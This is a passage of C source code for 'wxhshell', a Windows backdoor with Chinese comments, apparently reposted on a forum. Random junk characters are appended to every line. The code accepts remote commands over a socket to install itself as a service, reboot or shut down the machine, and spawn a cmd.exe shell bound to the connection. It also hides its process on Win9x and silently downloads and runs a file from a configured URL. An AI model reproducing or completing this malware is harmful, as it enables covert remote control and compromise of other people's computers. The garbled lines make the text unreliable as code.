H]$=*(aje  
    switch(cmd[0]) { 0SY f<$  
  _p J_V>l  
  // 帮助 ca/o#9:N`:  
  case '?': { =PFR{=F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nOal7BNN  
    break; b?]ly(  
  } yvoo M'R  
  // 安装 "vOfAo]`  
  case 'i': { `,Y[Z  
    if(Install()) u@Cf*VPK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@R8P~^W  
    else fQW_YQsb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IFrb}yH  
    break; GtM( Y  
    } N`<4:v[P  
  // 卸载 Vv yrty  
  case 'r': { 33<fN:J]f  
    if(Uninstall()) `!omzE*bk5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {nQ)4.e6  
    else S}w.#tyEn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0i*'N ch#i  
    break; w~$c= JO#  
    } S@}B:}2  
  // 显示 wxhshell 所在路径 rI<nUy P?  
  case 'p': { `o_fUOe8a  
    char svExeFile[MAX_PATH]; c/=y*2,zo  
    strcpy(svExeFile,"\n\r"); Y0PGT5].@'  
      strcat(svExeFile,ExeFile); 9jMC |oE  
        send(wsh,svExeFile,strlen(svExeFile),0);  H\=LE  
    break; LGo2^Xx  
    } cNuHXaWp  
  // 重启 k~1j/VHv  
  case 'b': { oT|P1t.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j(%gMVu  
    if(Boot(REBOOT)) S?Bc~y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lP@)   
    else { (~ ]g,*+  
    closesocket(wsh); xA&  
    ExitThread(0); pG!(6V-x<E  
    } nrTv=*tDj  
    break; 9P7xoXJ@y  
    } "B9[cDM&  
  // 关机 &N"'7bK6n  
  case 'd': { 5>ADw3z'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0Oc}rRH(C  
    if(Boot(SHUTDOWN)) >lraYMc<rZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *U;4t/(  
    else { 5@ bc(H  
    closesocket(wsh); llHc=&y#  
    ExitThread(0); .Na&I)udX.  
    } S9HBr  
    break; 9u ?)vR[@e  
    } }z%OnP  
  // 获取shell selP=Q!  
  case 's': { rb:<N%*t  
    CmdShell(wsh); 1KTabj/C  
    closesocket(wsh); @PPR$4  
    ExitThread(0); a{]g+tGH  
    break; l_c^ .D  
  } "WYA  
  // 退出 y@o9~?M  
  case 'x': { QFW0KD`5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w0Fwd  
    CloseIt(wsh); Pgn_9Y?<  
    break; x?,~TC4  
    } G&x'=dJ  
  // 离开 p-5P as  
  case 'q': { jDlA<1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T[0V%Br{d+  
    closesocket(wsh); 8pYyG |\  
    WSACleanup(); /[a|DUoHO  
    exit(1); n}< ir!ZTO  
    break; y#S1c)vU  
        } M!N` Orz  
  } 4 ,p#:!  
  } ycgfZ 3K  
L]k*QIn:h  
  // 提示信息 N9i}p^F<_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5%<TF .;-J  
} 7$(_j<o`  
  } 'FShNY5  
t|;%DA)fjw  
  return; XVQL.A7  
} ?^LG hdR  
YF}9k  
// shell模块句柄 b/}'Vf[  
int CmdShell(SOCKET sock) a(8>n Z,V  
{ $brKl8P  
STARTUPINFO si; 9v~1We;{$  
ZeroMemory(&si,sizeof(si)); \s=QiPK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bu7A{DRf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %6AYCN?Ih  
PROCESS_INFORMATION ProcessInfo; UhsO\9}qH  
char cmdline[]="cmd"; 0jBKCu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MWBXs7 5I  
  return 0; W`#gpi)7N  
} xME(B@j  
xN6?yr  
// 自身启动模式 It%T7 X#  
int StartFromService(void) o;3j:# 3 |  
{ -NAmu97V}  
typedef struct " Wp   
{ <O;&qT*b  
  DWORD ExitStatus; }dy9I H  
  DWORD PebBaseAddress; A?e,U,  
  DWORD AffinityMask; 7egq4gN]2Y  
  DWORD BasePriority; lZ}P{d'f.  
  ULONG UniqueProcessId; !q!"UMiG  
  ULONG InheritedFromUniqueProcessId; ,# ]+HS^B  
}   PROCESS_BASIC_INFORMATION; $zdd=.!KiK  
T`uDlo  
PROCNTQSIP NtQueryInformationProcess; X$/E>I  
j*XjY[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /x$}D=(CZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g{e/X~  
21U&Ww  
  HANDLE             hProcess; 5)w4)K-%  
  PROCESS_BASIC_INFORMATION pbi; SGt5~T xj  
O47PkP8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jQ6Xr&}  
  if(NULL == hInst ) return 0; >wA+[81[  
UL&} s_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -(!uC +BZX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K k7GZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R6 ;jY/*#  
\fTTkpM  
  if (!NtQueryInformationProcess) return 0; fTBVvY4(  
k!&:(]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i&JpM] N  
  if(!hProcess) return 0; +vf:z?I8  
YUCC*t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JRq3>P  
>zQNHSi  
  CloseHandle(hProcess); Uls+n@\!  
sa G8g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vTdUuj3N  
if(hProcess==NULL) return 0; sJOV2#r  
B;V5x/  
HMODULE hMod; ~Po<(A}`f  
char procName[255]; \Dfm(R  
unsigned long cbNeeded; cM3jnim  
0*/kGvw`i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +,z) #  
$%=G[/i'  
  CloseHandle(hProcess); / $_M@>  
CI^[I\$&  
if(strstr(procName,"services")) return 1; // 以服务启动 \0nlPXk?G  
%yfE7UPS]  
  return 0; // 注册表启动 Y3k[~A7X  
} 9:Si] Pp+S  
e9 *lixh  
// 主模块 E:)Cp  
int StartWxhshell(LPSTR lpCmdLine) LX\)8~dp  
{ ;,k=<]  
  SOCKET wsl; pl|h>4af  
BOOL val=TRUE; 9p4y>3  
  int port=0; 2 L:$aZ  
  struct sockaddr_in door; W2hA-1  
)&:L'N  
  if(wscfg.ws_autoins) Install(); Jld\8=  
BKay*!'PX  
port=atoi(lpCmdLine); ~ ltg  
`]jqQr97  
if(port<=0) port=wscfg.ws_port; %&h c"7/k  
J#''q"rZ  
  WSADATA data; n}JPYu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Sz7\W0  
*}w+ 68eO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JGis"e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s9i|mVtm8  
  door.sin_family = AF_INET; q*bt4,D&Es  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tb,9a!?  
  door.sin_port = htons(port); RU|X*3";T  
i'=2Y9S}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,5{$+  
closesocket(wsl); 'C^;OjAg  
return 1; p?JQ[K7i  
} Z/g]o#  
>?I/;R.-  
  if(listen(wsl,2) == INVALID_SOCKET) { 5$%XvM  
closesocket(wsl); doR4nRl9  
return 1; '#q4Bc1  
} bY)#v?  
  Wxhshell(wsl); 45<y{8  
  WSACleanup(); DkdL#sV  
'mE^5K  
return 0; cDIBDC  
6e.[,-eU  
} UFw](%=&M  
bq NP#C  
// 以NT服务方式启动 ,EI:gLH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #K4*6LI  
{ Bd# TUy  
DWORD   status = 0; |55dbL$w  
  DWORD   specificError = 0xfffffff; JNi=`X&A  
"}zt`3  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  q=4Bny0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \k; n20\u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <<,>S&/  
  serviceStatus.dwWin32ExitCode     = 0; o2naVxetE  
  serviceStatus.dwServiceSpecificExitCode = 0; Skxd<gv  
  serviceStatus.dwCheckPoint       = 0; $(rc/h0/E  
  serviceStatus.dwWaitHint       = 0; 2+Yb 7 uI,  
e<"/'Ql!k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 59lj7  
  if (hServiceStatusHandle==0) return; sJU`u'w  
qybxXK:  
status = GetLastError(); ^2C>L}  
  if (status!=NO_ERROR) jn=:G+0  
{ Ilq=wPD}j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R5(T([w'  
    serviceStatus.dwCheckPoint       = 0; [E|uY]DR  
    serviceStatus.dwWaitHint       = 0; #]Y*0Wzpfn  
    serviceStatus.dwWin32ExitCode     = status; T$P-<s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5JSrrpGr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x)oRSsv!Tr  
    return; :FHA]oec1  
  } Ej"u1F14J  
!YE zFU`L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WD.U"YI8y  
  serviceStatus.dwCheckPoint       = 0; `q_<Im%I  
  serviceStatus.dwWaitHint       = 0; !Z|($21W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qINTCm j  
} {dzoEM[ 1s  
=;ICa~`C;  
// 处理NT服务事件,比如:启动、停止  3+U]?7t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K0Tg|9  
{ x?sI;kUw8  
switch(fdwControl) ,H[SI0];  
{ 2*AG7  
case SERVICE_CONTROL_STOP: <[i}n55  
  serviceStatus.dwWin32ExitCode = 0; n>FY?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e|lD:_1i  
  serviceStatus.dwCheckPoint   = 0; s&Yi 6:J  
  serviceStatus.dwWaitHint     = 0; 8ObeiVXf)  
  {  f^b K=#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N`$!p9r  
  } 3WUH~l{UJ  
  return; 27#5y_ `  
case SERVICE_CONTROL_PAUSE: D$q'FZH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RN9;kB)c  
  break; RUo9eQIPD  
case SERVICE_CONTROL_CONTINUE: -LWK*q[J;*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +B"0{>n}F  
  break; ;rR/5d1!  
case SERVICE_CONTROL_INTERROGATE: %!|O.xxRR  
  break; E^CiOTN  
}; z]@6fM[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tv$sqVe9  
} $[ z y  
wT_h!W  
// 标准应用程序主函数 $kPHxD!"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =.Tv)/ea  
{ lFq{O;q7}  
+!yX T C  
// 获取操作系统版本 bw S*]!*  
OsIsNt=GetOsVer(); z&}-8JykH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); go'j/4Tp  
s V  }+eU  
  // 从命令行安装 bF-"tm  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;_+uSalt  
m_7 nz!h  
  // 下载执行文件 dh -,E  
if(wscfg.ws_downexe) { d) ahF[82  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m%r/O&g  
  WinExec(wscfg.ws_filenam,SW_HIDE); #wR;|pN  
} Zv!{{XO2;  
GbZ;#^S  
if(!OsIsNt) { K=\O5#F?3  
// 如果时win9x,隐藏进程并且设置为注册表启动  jNyoN1M  
HideProc(); #&8rcu;/  
StartWxhshell(lpCmdLine); [V}, tO|  
} iK;opA"  
else \RG!@$i  
  if(StartFromService())  9A$m$  
  // 以服务方式启动 KZ:hKY@q  
  StartServiceCtrlDispatcher(DispatchTable); h<l1U'Bn7  
else %,q. ),F  
  // 普通方式启动 anN#5jt  
  StartWxhshell(lpCmdLine); <48<86TP  
\}"m'(\c  
return 0; 0C$vS`s&  
}
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只看该作者 1 发表于: 2006-10-10
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